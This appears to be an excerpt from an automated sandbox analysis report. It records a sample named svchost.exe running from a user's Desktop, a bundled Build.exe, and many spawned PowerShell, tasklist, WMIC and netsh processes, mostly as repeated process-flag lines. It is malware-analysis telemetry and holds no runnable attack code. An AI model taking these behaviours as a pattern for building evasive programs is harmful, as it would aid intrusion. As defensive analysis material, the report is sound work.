Code function: 0_2_00007FF6711855B0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF6711855B0

Source: C:\Users\user\Desktop\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
